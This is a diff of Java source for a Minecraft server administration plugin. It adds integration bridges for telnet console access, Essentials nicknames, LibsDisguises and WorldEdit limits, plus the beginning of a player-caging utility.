OP("o"),
|
||||||
|
SUPER("s"),
|
||||||
|
TELNET("t"),
|
||||||
|
SENIOR("c"),
|
||||||
|
NOBODY("n");
|
||||||
|
//
|
||||||
|
private final String token;
|
||||||
|
|
||||||
|
private CommandBlockerRank(String token)
|
||||||
|
{
|
||||||
|
this.token = token;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getToken()
|
||||||
|
{
|
||||||
|
return this.token;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean hasPermission(CommandSender sender)
|
||||||
|
{
|
||||||
|
return fromSender(sender).ordinal() >= ordinal();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static CommandBlockerRank fromSender(CommandSender sender)
|
||||||
|
{
|
||||||
|
if (!(sender instanceof Player))
|
||||||
|
{
|
||||||
|
return TELNET;
|
||||||
|
}
|
||||||
|
|
||||||
|
Admin admin = TotalFreedomMod.plugin().al.getAdmin(sender);
|
||||||
|
if (admin != null)
|
||||||
|
{
|
||||||
|
if (admin.getRank() == Rank.SENIOR_ADMIN)
|
||||||
|
{
|
||||||
|
return SENIOR;
|
||||||
|
}
|
||||||
|
return SUPER;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sender.isOp())
|
||||||
|
{
|
||||||
|
return OP;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ANYONE;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static CommandBlockerRank fromToken(String token)
|
||||||
|
{
|
||||||
|
for (CommandBlockerRank rank : CommandBlockerRank.values())
|
||||||
|
{
|
||||||
|
if (rank.getToken().equalsIgnoreCase(token))
|
||||||
|
{
|
||||||
|
return rank;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ANYONE;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,170 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.bridge;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import me.totalfreedom.bukkittelnet.BukkitTelnet;
|
||||||
|
import me.totalfreedom.bukkittelnet.api.TelnetCommandEvent;
|
||||||
|
import me.totalfreedom.bukkittelnet.api.TelnetPreLoginEvent;
|
||||||
|
import me.totalfreedom.bukkittelnet.api.TelnetRequestDataTagsEvent;
|
||||||
|
import me.totalfreedom.bukkittelnet.session.ClientSession;
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.plugin.Plugin;
|
||||||
|
|
||||||
|
public class BukkitTelnetBridge extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
private BukkitTelnet bukkitTelnetPlugin = null;
|
||||||
|
|
||||||
|
public BukkitTelnetBridge(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onTelnetPreLogin(TelnetPreLoginEvent event)
|
||||||
|
{
|
||||||
|
|
||||||
|
final String ip = event.getIp();
|
||||||
|
if (ip == null || ip.isEmpty())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Admin admin = plugin.al.getEntryByIpFuzzy(ip);
|
||||||
|
|
||||||
|
if (admin == null || !admin.isActive() || !admin.getRank().hasConsoleVariant())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
event.setBypassPassword(true);
|
||||||
|
event.setName(admin.getName());
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onTelnetCommand(TelnetCommandEvent event)
|
||||||
|
{
|
||||||
|
if (plugin.cb.isCommandBlocked(event.getCommand(), event.getSender()))
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onTelnetRequestDataTags(TelnetRequestDataTagsEvent event)
|
||||||
|
{
|
||||||
|
final Iterator<Map.Entry<Player, Map<String, Object>>> it = event.getDataTags().entrySet().iterator();
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
final Map.Entry<Player, Map<String, Object>> entry = it.next();
|
||||||
|
final Player player = entry.getKey();
|
||||||
|
final Map<String, Object> playerTags = entry.getValue();
|
||||||
|
|
||||||
|
boolean isAdmin = false;
|
||||||
|
boolean isTelnetAdmin = false;
|
||||||
|
boolean isSeniorAdmin = false;
|
||||||
|
|
||||||
|
final Admin admin = plugin.al.getAdmin(player);
|
||||||
|
if (admin != null)
|
||||||
|
{
|
||||||
|
boolean active = admin.isActive();
|
||||||
|
|
||||||
|
isAdmin = active;
|
||||||
|
isSeniorAdmin = active && admin.getRank() == Rank.SENIOR_ADMIN;
|
||||||
|
isTelnetAdmin = active && (isSeniorAdmin || admin.getRank() == Rank.TELNET_ADMIN);
|
||||||
|
}
|
||||||
|
|
||||||
|
playerTags.put("tfm.admin.isAdmin", isAdmin);
|
||||||
|
playerTags.put("tfm.admin.isTelnetAdmin", isTelnetAdmin);
|
||||||
|
playerTags.put("tfm.admin.isSeniorAdmin", isSeniorAdmin);
|
||||||
|
|
||||||
|
playerTags.put("tfm.playerdata.getTag", plugin.pl.getPlayer(player).getTag());
|
||||||
|
|
||||||
|
playerTags.put("tfm.essentialsBridge.getNickname", plugin.esb.getNickname(player.getName()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public BukkitTelnet getBukkitTelnetPlugin()
|
||||||
|
{
|
||||||
|
if (bukkitTelnetPlugin == null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final Plugin bukkitTelnet = server.getPluginManager().getPlugin("BukkitTelnet");
|
||||||
|
if (bukkitTelnet != null)
|
||||||
|
{
|
||||||
|
if (bukkitTelnet instanceof BukkitTelnet)
|
||||||
|
{
|
||||||
|
bukkitTelnetPlugin = (BukkitTelnet) bukkitTelnet;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return bukkitTelnetPlugin;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void killTelnetSessions(final String name)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final List<ClientSession> sessionsToRemove = new ArrayList<>();
|
||||||
|
|
||||||
|
final BukkitTelnet telnet = getBukkitTelnetPlugin();
|
||||||
|
if (telnet != null)
|
||||||
|
{
|
||||||
|
final Iterator<ClientSession> it = telnet.appender.getSessions().iterator();
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
final ClientSession session = it.next();
|
||||||
|
if (name != null && name.equalsIgnoreCase(session.getUserName()))
|
||||||
|
{
|
||||||
|
sessionsToRemove.add(session);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (final ClientSession session : sessionsToRemove)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
telnet.appender.removeSession(session);
|
||||||
|
session.syncTerminateSession();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe("Error removing single telnet session: " + ex.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
FLog.info(sessionsToRemove.size() + " telnet session(s) removed.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe("Error removing telnet sessions: " + ex.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,139 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.bridge;
|
||||||
|
|
||||||
|
import com.earth2me.essentials.Essentials;
|
||||||
|
import com.earth2me.essentials.User;
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.plugin.Plugin;
|
||||||
|
|
||||||
|
public class EssentialsBridge extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
private Essentials essentialsPlugin = null;
|
||||||
|
|
||||||
|
public EssentialsBridge(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public Essentials getEssentialsPlugin()
|
||||||
|
{
|
||||||
|
if (essentialsPlugin == null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final Plugin essentials = Bukkit.getServer().getPluginManager().getPlugin("Essentials");
|
||||||
|
if (essentials != null)
|
||||||
|
{
|
||||||
|
if (essentials instanceof Essentials)
|
||||||
|
{
|
||||||
|
essentialsPlugin = (Essentials) essentials;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return essentialsPlugin;
|
||||||
|
}
|
||||||
|
|
||||||
|
public User getEssentialsUser(String username)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final Essentials essentials = getEssentialsPlugin();
|
||||||
|
if (essentials != null)
|
||||||
|
{
|
||||||
|
return essentials.getUserMap().getUser(username);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setNickname(String username, String nickname)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final User user = getEssentialsUser(username);
|
||||||
|
if (user != null)
|
||||||
|
{
|
||||||
|
user.setNickname(nickname);
|
||||||
|
user.setDisplayNick();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getNickname(String username)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final User user = getEssentialsUser(username);
|
||||||
|
if (user != null)
|
||||||
|
{
|
||||||
|
return user.getNickname();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long getLastActivity(String username)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final User user = getEssentialsUser(username);
|
||||||
|
if (user != null)
|
||||||
|
{
|
||||||
|
return FUtil.<Long>getField(user, "lastActivity"); // This is weird
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
return 0L;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isEssentialsEnabled()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final Essentials essentials = getEssentialsPlugin();
|
||||||
|
if (essentials != null)
|
||||||
|
{
|
||||||
|
return essentials.isEnabled();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,138 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.bridge;
|
||||||
|
|
||||||
|
//import me.libraryaddict.disguise.DisallowedDisguises;
|
||||||
|
//import me.libraryaddict.disguise.LibsDisguises;
|
||||||
|
//import me.libraryaddict.disguise.DisguiseAPI;
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.plugin.Plugin;
|
||||||
|
|
||||||
|
public class LibsDisguisesBridge extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
// private LibsDisguises libsDisguisesPlugin = null;
|
||||||
|
|
||||||
|
public LibsDisguisesBridge(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
public LibsDisguises getLibsDisguisesPlugin()
|
||||||
|
{
|
||||||
|
if (libsDisguisesPlugin == null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final Plugin libsDisguises = server.getPluginManager().getPlugin("LibsDisguises");
|
||||||
|
if (libsDisguises != null)
|
||||||
|
{
|
||||||
|
if (libsDisguises instanceof LibsDisguises)
|
||||||
|
{
|
||||||
|
libsDisguisesPlugin = (LibsDisguises) libsDisguises;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return libsDisguisesPlugin;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Boolean isDisguised(Player player)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final LibsDisguises libsDisguises = getLibsDisguisesPlugin();
|
||||||
|
if (libsDisguises != null)
|
||||||
|
{
|
||||||
|
return DisguiseAPI.isDisguised(player);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void undisguiseAll(boolean admins)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final LibsDisguises libsDisguises = getLibsDisguisesPlugin();
|
||||||
|
|
||||||
|
if (libsDisguises == null)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (DisguiseAPI.isDisguised(player))
|
||||||
|
{
|
||||||
|
if (!admins && plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
DisguiseAPI.undisguiseToAll(player);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setDisguisesEnabled(boolean state)
|
||||||
|
{
|
||||||
|
final LibsDisguises libsDisguises = getLibsDisguisesPlugin();
|
||||||
|
|
||||||
|
if (libsDisguises == null)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (state)
|
||||||
|
{
|
||||||
|
DisguiseAPI.enableDisguises();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
DisguiseAPI.disableDisguises();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isDisguisesEnabled()
|
||||||
|
{
|
||||||
|
return !DisallowedDisguises.disabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isPluginEnabled()
|
||||||
|
{
|
||||||
|
Plugin ld = getLibsDisguisesPlugin();
|
||||||
|
|
||||||
|
if (ld == null)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ld.isEnabled();
|
||||||
|
}*/
|
||||||
|
}
|
@ -0,0 +1,138 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.bridge;
|
||||||
|
|
||||||
|
import com.sk89q.worldedit.LocalSession;
|
||||||
|
import com.sk89q.worldedit.bukkit.BukkitPlayer;
|
||||||
|
import com.sk89q.worldedit.bukkit.WorldEditPlugin;
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.plugin.Plugin;
|
||||||
|
|
||||||
|
public class WorldEditBridge extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
private final WorldEditListener listener;
|
||||||
|
//
|
||||||
|
private WorldEditPlugin worldedit = null;
|
||||||
|
|
||||||
|
public WorldEditBridge(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
listener = new WorldEditListener(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
listener.register();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
listener.unregister();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void undo(Player player, int count)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
LocalSession session = getPlayerSession(player);
|
||||||
|
if (session != null)
|
||||||
|
{
|
||||||
|
final BukkitPlayer bukkitPlayer = getBukkitPlayer(player);
|
||||||
|
if (bukkitPlayer != null)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < count; i++)
|
||||||
|
{
|
||||||
|
session.undo(session.getBlockBag(bukkitPlayer), bukkitPlayer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private WorldEditPlugin getWorldEditPlugin()
|
||||||
|
{
|
||||||
|
if (worldedit == null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Plugin we = server.getPluginManager().getPlugin("WorldEdit");
|
||||||
|
if (we != null)
|
||||||
|
{
|
||||||
|
if (we instanceof WorldEditPlugin)
|
||||||
|
{
|
||||||
|
worldedit = (WorldEditPlugin) we;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return worldedit;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLimit(Player player, int limit)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final LocalSession session = getPlayerSession(player);
|
||||||
|
if (session != null)
|
||||||
|
{
|
||||||
|
session.setBlockChangeLimit(limit);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private LocalSession getPlayerSession(Player player)
|
||||||
|
{
|
||||||
|
final WorldEditPlugin wep = getWorldEditPlugin();
|
||||||
|
if (wep == null)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return wep.getSession(player);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private BukkitPlayer getBukkitPlayer(Player player)
|
||||||
|
{
|
||||||
|
final WorldEditPlugin wep = getWorldEditPlugin();
|
||||||
|
if (wep == null)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
return wep.wrapPlayer(player);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,74 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.bridge;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
// These imports are not in the latest releases of WorldEdit, and the new versions of WorldEdit do not build properly. This will need to be reverted once the new WorldEdit builds are building properly.
|
||||||
|
//
|
||||||
|
//import me.totalfreedom.worldedit.LimitChangedEvent;
|
||||||
|
//import me.totalfreedom.worldedit.SelectionChangedEvent;
|
||||||
|
//
|
||||||
|
//The following two imports are a temporary measure as mentioned above.
|
||||||
|
//
|
||||||
|
import me.StevenLawson.worldedit.LimitChangedEvent;
|
||||||
|
import me.StevenLawson.worldedit.SelectionChangedEvent;
|
||||||
|
//
|
||||||
|
import net.pravian.aero.component.PluginListener;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
|
||||||
|
public class WorldEditListener extends PluginListener<TotalFreedomMod>
|
||||||
|
{
|
||||||
|
|
||||||
|
public WorldEditListener(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler
|
||||||
|
public void onSelectionChange(final SelectionChangedEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
|
||||||
|
if (plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (plugin.pa.isInProtectedArea(
|
||||||
|
event.getMinVector(),
|
||||||
|
event.getMaxVector(),
|
||||||
|
event.getWorld().getName()))
|
||||||
|
{
|
||||||
|
|
||||||
|
player.sendMessage(ChatColor.RED + "The region that you selected contained a protected area. Selection cleared.");
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler
|
||||||
|
public void onLimitChanged(LimitChangedEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
|
||||||
|
if (plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!event.getPlayer().equals(event.getTarget()))
|
||||||
|
{
|
||||||
|
player.sendMessage(ChatColor.RED + "Only admins can change the limit for other players!");
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.getLimit() < 0 || event.getLimit() > 10000)
|
||||||
|
{
|
||||||
|
player.setOp(false);
|
||||||
|
FUtil.bcastMsg(event.getPlayer().getName() + " tried to set their WorldEdit limit to " + event.getLimit() + " and has been de-opped", ChatColor.RED);
|
||||||
|
event.setCancelled(true);
|
||||||
|
player.sendMessage(ChatColor.RED + "You cannot set your limit higher than 10000 or to -1!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,210 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.caging;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import lombok.Getter;
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.SkullType;
|
||||||
|
import org.bukkit.block.Block;
|
||||||
|
import org.bukkit.block.Skull;
|
||||||
|
|
||||||
|
public class CageData
|
||||||
|
{
|
||||||
|
|
||||||
|
private final FPlayer fPlayer;
|
||||||
|
//
|
||||||
|
private final List<BlockData> cageHistory = new ArrayList<>();
|
||||||
|
//
|
||||||
|
@Getter
|
||||||
|
private boolean caged = false;
|
||||||
|
@Getter
|
||||||
|
private Location location;
|
||||||
|
@Getter
|
||||||
|
private Material outerMaterial = Material.GLASS;
|
||||||
|
@Getter
|
||||||
|
private Material innerMaterial = Material.AIR;
|
||||||
|
|
||||||
|
public CageData(FPlayer player)
|
||||||
|
{
|
||||||
|
this.fPlayer = player;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setCaged(boolean cage)
|
||||||
|
{
|
||||||
|
if (cage)
|
||||||
|
{
|
||||||
|
cage(fPlayer.getPlayer().getLocation(), Material.GLASS, Material.GLASS);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
this.caged = false;
|
||||||
|
regenerateHistory();
|
||||||
|
clearHistory();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public void cage(Location location, Material outer, Material inner)
|
||||||
|
{
|
||||||
|
if (isCaged())
|
||||||
|
{
|
||||||
|
setCaged(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.caged = true;
|
||||||
|
this.location = location;
|
||||||
|
this.outerMaterial = outer;
|
||||||
|
this.innerMaterial = inner;
|
||||||
|
|
||||||
|
buildHistory(location, 2, fPlayer);
|
||||||
|
regenerate();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void regenerate()
|
||||||
|
{
|
||||||
|
|
||||||
|
if (!caged
|
||||||
|
|| location == null
|
||||||
|
|| outerMaterial == null
|
||||||
|
|| innerMaterial == null)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
generateHollowCube(location, 2, outerMaterial);
|
||||||
|
generateCube(location, 1, innerMaterial);
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO: EventHandlerize this?
|
||||||
|
public void playerJoin()
|
||||||
|
{
|
||||||
|
if (!isCaged())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
cage(fPlayer.getPlayer().getLocation(), outerMaterial, innerMaterial);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void playerQuit()
|
||||||
|
{
|
||||||
|
regenerateHistory();
|
||||||
|
clearHistory();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void clearHistory()
|
||||||
|
{
|
||||||
|
cageHistory.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void insertHistoryBlock(Location location, Material material)
|
||||||
|
{
|
||||||
|
cageHistory.add(new BlockData(location, material));
|
||||||
|
}
|
||||||
|
|
||||||
|
private void regenerateHistory()
|
||||||
|
{
|
||||||
|
for (BlockData blockdata : this.cageHistory)
|
||||||
|
{
|
||||||
|
blockdata.location.getBlock().setType(blockdata.material);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void buildHistory(Location location, int length, FPlayer playerdata)
|
||||||
|
{
|
||||||
|
final Block center = location.getBlock();
|
||||||
|
for (int xOffset = -length; xOffset <= length; xOffset++)
|
||||||
|
{
|
||||||
|
for (int yOffset = -length; yOffset <= length; yOffset++)
|
||||||
|
{
|
||||||
|
for (int zOffset = -length; zOffset <= length; zOffset++)
|
||||||
|
{
|
||||||
|
final Block block = center.getRelative(xOffset, yOffset, zOffset);
|
||||||
|
insertHistoryBlock(block.getLocation(), block.getType());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Util methods
|
||||||
|
public static void generateCube(Location location, int length, Material material)
|
||||||
|
{
|
||||||
|
final Block center = location.getBlock();
|
||||||
|
for (int xOffset = -length; xOffset <= length; xOffset++)
|
||||||
|
{
|
||||||
|
for (int yOffset = -length; yOffset <= length; yOffset++)
|
||||||
|
{
|
||||||
|
for (int zOffset = -length; zOffset <= length; zOffset++)
|
||||||
|
{
|
||||||
|
final Block block = center.getRelative(xOffset, yOffset, zOffset);
|
||||||
|
if (block.getType() != material)
|
||||||
|
{
|
||||||
|
block.setType(material);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void generateHollowCube(Location location, int length, Material material)
|
||||||
|
{
|
||||||
|
final Block center = location.getBlock();
|
||||||
|
for (int xOffset = -length; xOffset <= length; xOffset++)
|
||||||
|
{
|
||||||
|
for (int yOffset = -length; yOffset <= length; yOffset++)
|
||||||
|
{
|
||||||
|
for (int zOffset = -length; zOffset <= length; zOffset++)
|
||||||
|
{
|
||||||
|
// Hollow
|
||||||
|
if (Math.abs(xOffset) != length && Math.abs(yOffset) != length && Math.abs(zOffset) != length)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Block block = center.getRelative(xOffset, yOffset, zOffset);
|
||||||
|
|
||||||
|
if (material != Material.SKULL)
|
||||||
|
{
|
||||||
